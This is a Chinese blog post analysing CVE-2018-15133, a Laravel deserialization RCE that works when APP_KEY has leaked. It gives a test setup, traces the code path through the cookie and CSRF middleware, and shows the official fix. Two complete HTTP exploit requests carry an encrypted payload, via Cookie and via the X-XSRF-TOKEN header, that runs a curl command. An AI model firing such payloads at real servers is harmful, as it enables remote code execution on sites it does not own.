php laravel框架 rce分析 cve-2018-15133

本文将记录在 APP_KEY 泄露情况下的 Laravel RCE 漏洞。该漏洞可以分别在两个地方触发,一个是直接添加在 cookie 字段,例如: Cookie: ATTACK=payload ;另一处是在 HTTP Header 处添加 X-XSRF-TOKEN 字段,例如: X-XSRF-TOKEN: payload 。漏洞影响版本:5.5.x<=5.5.40、5.6.x<=5.6.29。

环境搭建

这里我的测试环境为 Debian9+apache+PHP7.2+Laravel5.6.29 。

➜  html composer create-project laravel/laravel laravel5629 --prefer-dist "5.6.0"
➜  html cd laravel5629
➜  laravel5629 sed -i -e 's/5.6.\*/5.6.29/g' composer.json
➜  laravel5629 composer update
➜  laravel5629 ./artisan key:generate
➜  laravel5629 echo "Route::post('/', function() {return view('welcome');});" >> ./routes/web.php
➜  laravel5629 ./artisan serve --host=0.0.0.0

漏洞分析

当接收到 POST 数据时,程序在获取 Illuminate\Http\Response 类对象时,会依次调用如下 10个类 的 handle 方法。

App\Http\Middleware\TrustProxies
App\Http\Middleware\CheckForMaintenanceMode
Illuminate\Foundation\Http\Middleware\ValidatePostSize
App\Http\Middleware\TrimStrings
Illuminate\Foundation\Http\Middleware\ConvertEmptyStringsToNull
App\Http\Middleware\EncryptCookies
Illuminate\Cookie\Middleware\AddQueuedCookiesToResponse
Illuminate\Session\Middleware\StartSession
Illuminate\View\Middleware\ShareErrorsFromSession
App\Http\Middleware\VerifyCsrfToken

而在 App\Http\Middleware\EncryptCookies 和 App\Http\Middleware\VerifyCsrfToken 两个类的 handle 方法中,存在对请求值的合法性校验,并对通过校验的值进行反序列化操作。攻击者可以利用网站泄露的 APP_KEY ,结合公开的 Laravel 反序列化 POP 链进行 RCE 。下面,我们来分别看下这两个类的具体代码。

通过Cookie触发RCE

通过 Cookie 触发 RCE 的 EXP 如下(这里payload中执行的命令是 curl 127.0.0.1:8888 ):

POST / HTTP/1.1
Host: 0.0.0.0:8000
Cookie: XDEBUG_SESSION=PHPSTORM; ATTACK=eyJpdiI6ImRhSTdpRkhWTFowVHNtNDMyZW5wWlE9PSIsInZhbHVlIjoiRHRRRXpRNUhkeG8rQ0s0a21qRmpzUHNkZ0lBaFpsVjlvYk1uZmtwOVpRVFZsdmNKSUhMQnJ0UlBWeHhrbElZb0ZaRnRmMjFlbTNSNXRXZGxCeEF2clNvbk5HT2FDZEEwSGVKU2VuUkFSeVhXTUEwVzFUYlRlc2RsWk1scEg3eWRUKzljRHBWQmEzMERRR0gydG4zYURzWEFcL2djUmFDVGJ5M2NMREVvMDhmeEE0dm5FTVJcL3UwZHBsUjhxajBHbFVBaHVRTWRzN3QwNU9XdWdISWZPaklkXC80alpKQjZEMlJTQjdVXC8wZ3BoNXVXWVFRK1NUSVM5OVhkSXRuSXpHZWRMcUJnR0RwVjlLeDNPUHMyNFpMbWJRPT0iLCJtYWMiOiIxM2M3YThiNmI4MWNkZmI1YjNhMGEzZDRjMDdkYTJiY2MyNzZhOWZkYzUwM2NiOTg1MGRiMTk0ZGU1MjhhOWE1In0=;
Content-Type: application/x-www-form-urlencoded
Connection: close
Content-Length: 0

Laravel 框架在获取 Illuminate\Http\Response 类对象时,会循环对 Cookie 的值进行解密以验证其合法性。在解密的时候会用到 APP_KEY ,如果解密顺利,就会将解密后的值进行反序列化(如下图149行代码)。我们可以看到下图的调试信息中, $decrypted 变量已经反序列化成攻击者精心构造的类对象了。继续执行下去,就会触发 RCE 。

通过HTTP Header触发RCE

通过 HTTP Header 触发 RCE 的 EXP 如下(这里payload中执行的命令是 curl 127.0.0.1:8888 ):

POST / HTTP/1.1
Host: 0.0.0.0:8000
Cookie: XDEBUG_SESSION=PHPSTORM;
X-XSRF-TOKEN: eyJpdiI6ImRhSTdpRkhWTFowVHNtNDMyZW5wWlE9PSIsInZhbHVlIjoiRHRRRXpRNUhkeG8rQ0s0a21qRmpzUHNkZ0lBaFpsVjlvYk1uZmtwOVpRVFZsdmNKSUhMQnJ0UlBWeHhrbElZb0ZaRnRmMjFlbTNSNXRXZGxCeEF2clNvbk5HT2FDZEEwSGVKU2VuUkFSeVhXTUEwVzFUYlRlc2RsWk1scEg3eWRUKzljRHBWQmEzMERRR0gydG4zYURzWEFcL2djUmFDVGJ5M2NMREVvMDhmeEE0dm5FTVJcL3UwZHBsUjhxajBHbFVBaHVRTWRzN3QwNU9XdWdISWZPaklkXC80alpKQjZEMlJTQjdVXC8wZ3BoNXVXWVFRK1NUSVM5OVhkSXRuSXpHZWRMcUJnR0RwVjlLeDNPUHMyNFpMbWJRPT0iLCJtYWMiOiIxM2M3YThiNmI4MWNkZmI1YjNhMGEzZDRjMDdkYTJiY2MyNzZhOWZkYzUwM2NiOTg1MGRiMTk0ZGU1MjhhOWE1In0=;
Content-Type: application/x-www-form-urlencoded
Connection: close
Content-Length: 0

Laravel 框架在获取 Illuminate\Http\Response 类对象时,还会获取 CSRF token 。如果没有获取到 CSRF token ,就会转而获取 X-XSRF-TOKEN ,并在校验通过后对其进行反序列化操作。其校验使用的解密代码和上面一致,都是通过 Illuminate\Encryption\Encrypter 类的 decrypt 方法完成的,这里就不在赘述。

EXP构造

现在我们看看如何构造 EXP ,其实加密函数也在 Illuminate\Encryption\Encrypter 类中,其具体代码在 encrypt 方法中。

我们只需要将其直接拿出来,稍加修改即可利用, EXP 脚本如下:

已删除

修复

最后,我们再来看一下官方的修复代码。如下图所示,在 Laravel5.6.30 的代码中,对于 Cookie 的解析,多传了一个 static::serialized() 值来禁止反序列化操作。同样,对于 X-XSRF-TOKEN 头的解析也是同样的处理,这里就不再贴代码了。

参考

CVE-2018-15133

Laravel5.6.30升级公告

Laravel Remote Code Execution when APP_KEY is leaked PoC (CVE-2018-15133)

 

 

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值